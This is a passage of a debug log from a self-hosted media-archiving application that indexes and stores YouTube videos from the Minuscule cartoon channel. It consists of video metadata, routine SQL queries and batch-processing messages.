\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 1690, "filename" => "/downloads/Miniscule Season 2/2017-10-02 Minuscule - Compilation #8/Minuscule - Compilation #8 [_WJlo33fRUg].mp4", "id" => "_WJlo33fRUg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=_WJlo33fRUg", "playlist_index" => 108, "timestamp" => 1506956406, "title" => "Minuscule - Compilation #8", "upload_date" => "20171002"} 22:13:59.442 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=270.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:13:59.443 [debug] QUERY OK source="sources" db=0.4ms idle=271.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:59.444 [debug] QUERY OK source="media_items" db=1.0ms idle=272.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-10-02 15:00:06Z], 5] 22:13:59.449 [debug] QUERY OK source="media_items" db=3.4ms idle=274.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n*** \n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019. \n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Compilation #8", "2ce9ed55-6dd4-4b50-8d38-07a350dc71aa", "_WJlo33fRUg", 1690, false, 5, "https://www.youtube.com/watch?v=_WJlo33fRUg", 108, "/downloads/Miniscule Season 2/2017-10-02 Minuscule - Compilation #8/Minuscule - Compilation #8 [_WJlo33fRUg].mp4", false, false, false, [], 1, ~U[2017-10-02 15:00:06Z], ~U[2025-12-12 05:13:59Z], ~U[2025-12-12 05:13:59Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\n*** \n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019. \n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Compilation #8", "_WJlo33fRUg", 1690, false, 5, "https://www.youtube.com/watch?v=_WJlo33fRUg", "/downloads/Miniscule Season 2/2017-10-02 Minuscule - Compilation #8/Minuscule - Compilation #8 [_WJlo33fRUg].mp4", false, ~U[2017-10-02 15:00:06Z]] 22:13:59.450 [debug] QUERY OK source="sources" db=0.4ms idle=42.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:13:59.451 [debug] QUERY OK source="media_profiles" db=0.5ms idle=8.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:13:59.452 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=8.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89114] 22:13:59.452 [debug] Current batch of media processed. Will check again in 1000ms 22:14:00.454 [debug] Current batch of media processed. Will check again in 1000ms 22:14:00.541 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:14:01.455 [debug] Current batch of media processed. Will check again in 1000ms 22:14:02.456 [debug] Current batch of media processed. Will check again in 1000ms 22:14:03.457 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA reckless and macho butterfly is interested in a female butterfly that is sitting on a crossroad sign. But between the butterfly and its ladylove: a road with very dense traffic.\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 286, "filename" => "/downloads/Miniscule Season 2/2020-02-13 Minuscule - Hop on! ⧸ Hop là! (Season 2)/Minuscule - Hop on! ⧸ Hop là! (Season 2) [QDvHirWhvK8].mp4", "id" => "QDvHirWhvK8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=QDvHirWhvK8", "playlist_index" => 109, "timestamp" => 1581607802, "title" => "Minuscule - Hop on! / Hop là! (Season 2)", "upload_date" => "20200213"} 22:14:03.458 [debug] QUERY OK source="sources" db=0.3ms idle=1044.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:03.458 [debug] QUERY OK source="sources" db=0.2ms idle=287.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:14:03.460 [debug] QUERY OK source="media_items" db=1.1ms idle=287.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-02-13 15:30:02Z], 5] 22:14:03.472 [debug] QUERY OK source="media_items" db=11.4ms idle=289.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA reckless and macho butterfly is interested in a female butterfly that is sitting on a crossroad sign. But between the butterfly and its ladylove: a road with very dense traffic.\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Hop on! / Hop là! (Season 2)", "d02b7478-3400-4634-b415-e46e44ee3af4", "QDvHirWhvK8", 286, false, 5, "https://www.youtube.com/watch?v=QDvHirWhvK8", 109, "/downloads/Miniscule Season 2/2020-02-13 Minuscule - Hop on! ⧸ Hop là! (Season 2)/Minuscule - Hop on! ⧸ Hop là! (Season 2) [QDvHirWhvK8].mp4", false, false, false, [], 1, ~U[2020-02-13 15:30:02Z], ~U[2025-12-12 05:14:03Z], ~U[2025-12-12 05:14:03Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA reckless and macho butterfly is interested in a female butterfly that is sitting on a crossroad sign. But between the butterfly and its ladylove: a road with very dense traffic.\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Hop on! / Hop là! (Season 2)", "QDvHirWhvK8", 286, false, 5, "https://www.youtube.com/watch?v=QDvHirWhvK8", "/downloads/Miniscule Season 2/2020-02-13 Minuscule - Hop on! ⧸ Hop là! (Season 2)/Minuscule - Hop on! ⧸ Hop là! (Season 2) [QDvHirWhvK8].mp4", false, ~U[2020-02-13 15:30:02Z]] 22:14:03.473 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=57.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:14:03.474 [debug] QUERY OK source="media_profiles" db=0.4ms idle=15.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:14:03.475 [debug] QUERY OK source="media_items" db=0.6ms idle=15.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89115] 22:14:03.475 [debug] Current batch of media processed. Will check again in 1000ms 22:14:04.476 [debug] Current batch of media processed. Will check again in 1000ms 22:14:05.477 [debug] Current batch of media processed. Will check again in 1000ms 22:14:06.478 [debug] Current batch of media processed. Will check again in 1000ms 22:14:07.479 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA huge net prevents a group of mosquitoes from reaching a potential victim. Will one mosquito manage to breach the net?\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 119, "filename" => "/downloads/Miniscule Season 2/2020-02-06 Minuscule - Mosquito net ⧸ Moustiquaire (Season 2)/Minuscule - Mosquito net ⧸ Moustiquaire (Season 2) [rK-QYWVVx3Y].mp4", "id" => "rK-QYWVVx3Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=rK-QYWVVx3Y", "playlist_index" => 110, "timestamp" => 1581003004, "title" => "Minuscule - Mosquito net / Moustiquaire (Season 2)", "upload_date" => "20200206"} 22:14:07.480 [debug] QUERY OK source="sources" db=0.4ms idle=308.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:14:07.481 [debug] QUERY OK source="sources" db=0.3ms idle=309.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:14:07.482 [debug] QUERY OK source="media_items" db=0.9ms idle=310.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-02-06 15:30:04Z], 5] 22:14:07.493 [debug] QUERY OK source="media_items" db=9.5ms idle=311.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA huge net prevents a group of mosquitoes from reaching a potential victim. Will one mosquito manage to breach the net?\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Mosquito net / Moustiquaire (Season 2)", "c647f333-8831-4650-b024-432f4b95db62", "rK-QYWVVx3Y", 119, false, 5, "https://www.youtube.com/watch?v=rK-QYWVVx3Y", 110, "/downloads/Miniscule Season 2/2020-02-06 Minuscule - Mosquito net ⧸ Moustiquaire (Season 2)/Minuscule - Mosquito net ⧸ Moustiquaire (Season 2) [rK-QYWVVx3Y].mp4", false, false, false, [], 1, ~U[2020-02-06 15:30:04Z], ~U[2025-12-12 05:14:07Z], ~U[2025-12-12 05:14:07Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA huge net prevents a group of mosquitoes from reaching a potential victim. Will one mosquito manage to breach the net?\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Mosquito net / Moustiquaire (Season 2)", "rK-QYWVVx3Y", 119, false, 5, "https://www.youtube.com/watch?v=rK-QYWVVx3Y", "/downloads/Miniscule Season 2/2020-02-06 Minuscule - Mosquito net ⧸ Moustiquaire (Season 2)/Minuscule - Mosquito net ⧸ Moustiquaire (Season 2) [rK-QYWVVx3Y].mp4", false, ~U[2020-02-06 15:30:04Z]] 22:14:07.493 [debug] QUERY OK source="sources" db=0.2ms idle=69.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:14:07.494 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=13.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:14:07.495 [debug] QUERY OK source="media_items" db=0.4ms idle=13.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89118] 22:14:07.495 [debug] Current batch of media processed. Will check again in 1000ms 22:14:08.496 [debug] Current 